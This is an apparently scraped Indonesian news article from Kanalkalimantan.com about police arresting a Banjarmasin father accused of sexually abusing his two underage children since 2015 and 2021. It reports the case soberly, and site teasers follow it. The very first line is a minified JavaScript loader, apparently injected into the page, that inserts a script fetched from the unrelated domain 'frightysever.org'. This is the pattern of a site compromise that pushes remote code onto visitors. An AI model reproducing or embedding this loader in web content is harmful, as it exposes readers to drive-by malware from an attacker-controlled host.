(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.CON, BANJARMASIN – Tidak hanya sekali, ayah kandung di Banjarmasin, Kalimantan Selatan (Kalsel) tega setubuhi dua anaknya yang masih di bawah umur selama delapan tahun.
Dia melakukan aksi bejatnya itu sejak 2015 yang lalu. Terungkap setelah adanya laporan dari warga, melalui Call Center Pengaduan 110 yang melaporkan adanya tindak pidana perbuatan yang tidak menyenangkan, terhadap dua anak berinisial D dan H.
Kepala Satreskrim Polresta Banjarmasin Kompol Thomas Afrian menjelaskan, polisi setelah mendapati laporan itu langsung bergerak cepat bersama jajaran Polsek Banjarmasin Selatan.
“Setelah Pengumpulan Bahan dan Keterangan (Pulbaket) dan dilakukannya pemeriksaan terhadap korban oleh Unit PPA Satreskrim Polresta Banjarmasin, dugaan pun mengarah kepada terlapor yang tak lain adalah ayah anak itu sendiri,” kata Kompol Thomas, Rabu (10/5/2023).
Baca juga: El Corona Hangatkan Panggung Hari Jadi ke-24 Banjarbaru di Murdjani
Pelaku berinisial I alias A (44) berakhir diringkus Unit PPA Satreskrim Polresta Banjarmasin pada Minggu (7/5/2023) malam di kediamannya, di Jalan Kelayan A Banjarmasin Selatan.
“Pelaku kita amankan di rumahnya. Saat itu juga tengah suasana duka peringatan meninggalnya istri terlapor,” sebutnya.
Saat petugas melakukan interogasi, pelaku mengakui telah melakukan persetubuhan kepada dua anaknya itu yaitu D sejak tahun 2015 dan H sejak tahun 2021.
“Karena tidak ingin menikah lagi, pelaku mengaku mempersetubuhi korban D sejak tahun 2015, sedangkan korban H disetubuhi sejak tahun 2021,” ungkap Thomas.
Pelaku menggunakan rayuan manis menjanjikan untuk dibeliksn handphone dan motor kepada korban agar memuaskan hasrat nafsunya itu.
“Rayuan manis yang digunakan pelaku ialah dengan iming-iming anaknya itu dengan dibelikan handphone dan juga sepeda motor, untuk melontarkan nafsunya itu kepada buah hatinya sendiri,” jelasnya.
Baca juga: Dua Kali Sidang Tuntutan Kasus Korupsi KONI Banjarbaru Ditunda, JPU Belum Siap
Thomas menjelaskan pelaku sudah sering melakukan baik itu di rumah maupun di beberapa hotel yang ada di Kota Banjarmasin. Meski korban menolak, namun hal itu malah membuat pelaku menjadi marah.
“Jika menolak pelaku akan marah-marah sehingga membuat korban ketakutan, serta melarang kedua anaknya itu keluar rumah,” jelas Thomas lagi.
Rabu (10/5/2023), pelaku bersama barang bukti telah mendekam di balik jeruji besi Mapolresta Banjarmasin untuk menjalankan proses hukum lebih lanjut. (Kanalkalimantan.com/wanda)
Reporter : Wanda
Editor : Rdy
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.